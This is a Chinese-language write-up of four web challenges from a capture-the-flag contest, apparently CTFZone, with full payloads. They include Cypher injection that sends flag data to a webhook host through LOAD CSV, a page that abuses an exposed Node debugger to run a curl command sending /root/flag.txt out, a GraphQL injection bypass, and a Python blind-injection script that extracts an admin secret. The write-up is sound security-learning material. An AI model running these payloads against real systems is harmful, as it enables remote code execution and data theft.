這次比賽的 Web 都很愛 Injection
我解出來的 5 題有 4 題是 Injection
Web
Dead or Alive 1&2
網站的資料庫是用 Neo4J,簡單來說就是一個用圖(Graph)來存資料的資料庫
而題目本身除了提供資料庫的 dump 外,還有很明顯的 Injection 可以用
app.post('/api/setSymptoms', async (req, res) => {
// zero-padded 9-digit number
const ssn = ('000000000'+req.body.ssn).slice(-9)
...
const symptoms = req.body.symptoms?.map?.(i => `'${i}'`).join(',');
// saving symptoms
setSymptoms(ssn, symptoms)
...
async function setSymptoms(ssn, symptoms){
const session = driver.session();
let q = `
MATCH (p:Patient {ssn: '${ssn}'})
MATCH (s:Symptom) WHERE s.name in [${symptoms}]
MERGE (p)-[r:HAS]->(s)
`;
return session.run(q)
這題最麻煩的點就只有去官網把桌面應用程式載下來
把整個資料庫展示出來後就能寫 Injection 的 payload 了
Payload 1:
Mania']
match (d:Disease) where d.name in ['Death']
load csv from 'https://webhook.com/?flag='+replace(d.description,' ','-') as b
//
ctfzone{C4n_Th3_D34D_Pl4y_CTF?}
Payload 2:
Mania']
match (f:Flag)
load csv from 'https://webhook.com/?flag='+f.flag as b
//
ctfzone{N0w_Y0u_4re_C0mpl3t3ly_H34lTy!}
Under Construction
網站是用 Node.js 來寫的,並且使用 node-staic 來 serve 靜態資源
同時使用 inspect 參數來啟動 Node.js 的 debugger
然後會將 stdout 跟 stderr 導入至兩個檔案
CMD ["bash","-c","node --inspect app.js 1>app-logs.out 2>app-logs.err"]
本身其實就只有將任意的 url report 給 admin bot 的功能而已
Flag 則是存在 /root/flag
中
用 npm install
的時候可以看到 node-static
有 Directory Traversal 的 vulnerable CVE-2023-26111
也就是我們可以使用這個漏洞去看到 app-logs.err
的內容
/../../app-logs.err
裡面會告訴我們 debugger 在哪個網址啟動
Debugger listening on ws://127.0.0.1:9229/<UUID>
For help, see: https://nodejs.org/en/docs/inspector
所以我們的攻擊步驟很簡單
- 獲取 debugger 的網址
- 用 ws 寫一個 debugger 的 client,protocol 的指令可參照 devtools-protocol
- 將裝有我們 client 的網址發送給 bot,達成 RCE
payload:
<html>
<script>
const ws = new WebSocket('ws://127.0.0.1:9229/<UUID>')
ws.onopen=()=> {
ws.send(JSON.stringify({
id: 0,
method: 'Runtime.enable'
}));
ws.send(JSON.stringify({
method: 'Runtime.evaluate',
id:0,
params:{
expression: `
process.mainModule.require('child_process')
.exec('sudo cat /root/flag.txt|curl -X POST --data-binary @- https://webhook.com')
`,
}
}))
};
</script>
</html>
ctfzone{d3bug_m0d3_1s_c00l_f0r_CTF}
Bounty the b4r
這題感覺跟之前 HITCON CTF 2022 的 yeeclass 很像
服務有 group 跟 report,而 group 則是有分 public 跟 private
而 flag 則被存在 private group 裡面的 report 之中
要加入 private group 的話,使用者的 reputaion 必須要達 10000 以上
而且他可以從 HackerOne 來匯入 reputation
const userDataQery = `query {
user(username: "%s") {
id
username
name
intro
reputation
rank
}
}`
func (s *server) PostUserImportReputation(w http.ResponseWriter, r *http.Request) {
...
userID := getUserID(r)
var user db.Users
s.db.Impl.Find(&user, "id = ?", userID)
postBody, _ := json.Marshal(map[string]string{
"query": fmt.Sprintf(userDataQery, *req.Username),
})
resp, err := http.Post("https://hackerone.com/graphql", "application/json", bytes.NewBuffer(postBody))
...
defer resp.Body.Close()
type respData struct {
Data struct {
User struct {
Reputation int
Intro string
}
}
}
var rd respData
err = json.NewDecoder(resp.Body).Decode(&rd)
...
if rd.Data.User.Intro != *req.Validator {
api.HandleError(fmt.Errorf("incorrect validator"), w)
return
}
user.Reputation = uint64(rd.Data.User.Reputation)
基本上就是去他的 leaderboard 找 reputaion 超過 10000 的使用者就行了
同時他的 validator 會檢查 intro 是否不為空,這可以透過簡單的 injection 來繞過
payload:
d0xing"){reputation intro:id}ha:user(username:"
加入之後,我必須要知道 report 的 UUID 才能看到其中的內容,好在他使用的是 UUID v1,也就是使用 timestamp 跟 MAC address 的組合
同時他也有提供 group 以及 report 創建時的 timestamp,所以我們可以自己算出來
now := time.Now().UnixNano()
rUUID, err := uuid.NewUUID()
if err != nil {
return nil, err
}
report := Report{
UUID: rUUID.String(),
Title: title,
Description: description,
Program: programId,
Severity: severity,
Weakness: weakness,
Published: now,
Reporter: reporter,
}
res = db.Impl.Create(&report)
算法如下
int_millisec = timestamp / 100
int_time = int_millisec + 122192928000000000
time = hex(int_time)
最後我們把算出來的跟透過 group 的 UUID 得知的 MAC address 結合就可以得到 report 的 UUID 了
但這題最麻煩的點不是在這裡
由於他執行 time.Now().UnixNano()
以及 uuid.NewUUID()
時會有時間差,所以還是需要多試幾次
但每次試之前,都必須做 POW,而他的 POW 則是要算提供前 5 個字的 9 個字 base64
像是這樣
POW[:5] = 'BhH9O'
MD5(POW) = '6915a583d4c35b49c13abb545bfb0560'
後來是直接用 16 核的工作站開一堆 process 下去算
CTFZone{b0un7y_th3_b4r_th3_t4st3_0f_bug5}
Raw Love
這題沒有提供 source
但稍微找一下會有幾個 endpoint
/login
登入/register
註冊/api
提供 GraphQL 的 query/uploads
可以上傳圖片/getImage
可以查詢所有人上傳的檔案
老實說這題的 /uploads
跟 /getImage
完全就只是障眼法
透過 Instropection 可以把所有 GraphQL 的東西找出來
接下來就是通靈 fuzzing 所有的 query 或是 mutation,看看有沒有 NoSQL 或是 SQL 的 injection
然後我就找到一個 query 叫做 filterprofile
,他的參數對 '
以及 \
有反應,只要輸入這兩個其中之一就會回傳 null
透過更多 fuzzing 之後,我就發現他其實是 JavaScript 的 injection
{
filterprofile(description:"'+(1==1 ?'':'123')+'") {
id
}
}
稍微測試一番,會發現他沒有像是 process
或是 global
之類的物件
本來還以為他其實是在 vm2 裡面執行的,並且要找到他的 OneDay 去 RCE
後來發現他沒有像是 console
之類的物件,才知道其實不是用 vm2
之後我就用 Object.keys
加 Boolean base 來查 this
裡面到底有什麼東西
結果還真的查出來一些東西
_id
id
username
password
age
secret
last_id
description
contact
最後就是用快樂二分搜來找到 admin 的 secret 了
pwn.py
import requests
while r-l!=1:
mid = (l + r )//2
query = f''' {{
filterprofile(description:"'+(this.id==0 && this.secret.length>{mid} ?'Administrator':'123')+'") {{
id
}}
}}
'''
req = requests.post('https://raw-love.ctfz.one/api',json={'query':query},headers=headers)
if check(req):
l = mid
else:
r = mid
print(f'len: {l+1}')
length = l+1
s = ''
for k in range(length):
l = 20
r = 128
while r-l!=1:
mid = (l + r )//2
query = f''' {{
filterprofile(description:"'+(this.id==0 && this.secret.charCodeAt({k})>{mid} ?'Administrator':'123')+'") {{
id
}}
}}
'''
req = requests.post('https://raw-love.ctfz.one/api',json={'query':query},headers=headers)
if check(req):
l = mid
else:
r = mid
s+=chr(l+1)
print(s)
ctfzone{rM7_E_EFBBxkkli4Tk9a}
結語
謝謝學長在社團留下來的工作站,不然我可能到比賽結束還沒算出來 POW